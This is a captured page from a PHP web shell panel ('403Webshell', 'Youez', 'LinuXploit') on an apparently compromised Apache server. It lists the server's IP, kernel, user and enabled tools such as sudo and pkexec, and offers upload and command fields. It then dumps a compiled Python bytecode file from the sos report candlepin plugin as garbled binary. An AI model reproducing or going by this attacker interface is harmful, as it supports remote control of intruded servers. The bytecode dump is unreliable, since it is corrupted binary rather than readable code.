403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/sos/report/plugins/__pycache__/candlepin.cpython-39.pyc
a

ܓ�i��@s>ddlmZddlmZddlmZmZGdd�dee�ZdS)�)�match)�quote)�Plugin�RedHatPluginc@sBeZdZdZdZdZdZdZdZdZ	dd�Z
ddd	�Zd
d�ZdS)
�	Candlepinz Candlepin entitlement management�	candlepin)rNc	Csbd|_d|_d|_d}z�t|ddd��}|����}Wd�n1sH0Y|D]l}|rV|dd	krlqVtd
|�r�|�d�d�d
�d�d�}|d|_|d|_td|�rV|�d�d|_qVWntt	fy�Yn0|�
dddd��d|ji|_|jddgdd�|�gd��|�
d�|�d�}|j
|d|jd�|�d�}|j
|d|jd�dS) NZ	localhosti8��/etc/candlepin/candlepin.conf�rzUTF--8)�encodingr�#z&^\s*org.quartz.dataSource.myDS.URL=\S+�=��/��:z+^\s*org.quartz.dataSource.myDS.password=\S+Z
candlepin_logZcandlepin_error_logZcandlepin_conf)z"/var/log/candlepin/candlepin.log.*z/var/log/candlepin/err.log.*r	Z
PGPASSWORDz/var/log/candlepin/error.logz /var/log/candlepin/candlepin.log)Z	sizelimit)r	�/etc/candlepin/broker.xmlz/var/log/candlepin/audit*.log*z%/var/log/candlepin/candlepin.log[.-]*z/var/log/candlepin/cpdb*.log*z/var/log/candlepin/cpinit*.log*z!/var/log/candlepin/error.log[.-]*z/var/log/tomcat*/catalina*log*z"/var/log/tomcat*/host-manager*log*z/var/log/tomcat*/localhost*log*z/var/log/tomcat*/manager*log*zdu -sh /var/lib/candlepin/*/*a[SELECT table_name, pg_size_pretty(total_bytes) AS total, pg_size_pretty(index_bytes) AS INDEX , pg_size_pretty(toast_bytes) AS toast, pg_size_pretty(table_bytes) AS TABLE FROM ( SELECT *, total_bytes-index_bytes-COALESCE(toast_bytes,0) AS table_bytes FROM (SELECT c.oid,nspname AS table_schema, relname AS TABLE_NAME, c.reltuples AS row_estimate, pg_total_relation_size(c.oid) AS total_bytes, pg_indexes_size(c.oid) AS index_bytes, pg_total_relation_size(reltoastrelid) AS toast_bytes FROM pg_class c LEFT JOIN pg_namespace n ON n.oid = c.relnamespace WHERE relkind = 'r') a) a order by total_bytes DESCZcandlepin_db_tables_sizes)Zsuggest_filename�envzN            SELECT displayname, content_access_mode             FROM cp_owner;Zsimple_content_access)�dbhost�dbport�dbpasswd�open�read�
splitlinesr�split�IOError�
IndexErrorZ
add_file_tagsrZ
add_copy_specZadd_cmd_output�build_query_cmd)�selfZcfg_file�cfileZcandle_lines�lineZjdbcurlZ_cmd�r!�@/usr/lib/python3.9/site-packages/sos/report/plugins/candlepin.py�setupsV*



�	��
��
�zCandlepin.setupFcCs(|rdnd}d}||j|j|t|�fS)aI
        Builds the command needed to invoke the pgsql query as the postgres
        user.
        The query requires significant quoting work to satisfy both the
        shell and postgres parsing requirements. Note that this will generate
        a large amount of quoting in sos logs referencing the command being run
        z
-A -F , -XrzSpsql --no-password -h %s -p %s -U candlepin                   -d candlepin %s -c %s)rrr)r�queryZcsvZ	csvformatZ_dbcmdr!r!r"rwszCandlepin.build_query_cmdcCsLd}d}|�d||�d}|�d||�dD]}|�dd|�d	�d
�q,dS)Nz$(((.*)(pass|token|secret)(.*))=)(.*)z
\1********r	z(--password=)([a-zA-Z0-9]*)z/var/log/candlepin/cpdb.log)ZtrustStorePasswordZkeyStorePasswordr�(z
)=(\w*)([;<])z
\1=********\3)Zdo_file_sub)rZreg�replZcpdbreg�keyr!r!r"�postproc�s
�zCandlepin.postproc)F)
�__name__�
__module__�__qualname__Z
short_descZplugin_nameZpackagesrrrrr#rr(r!r!r!r"rs[

rN)�rerZshlexrZsos.report.pluginsrrrr!r!r!r"�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit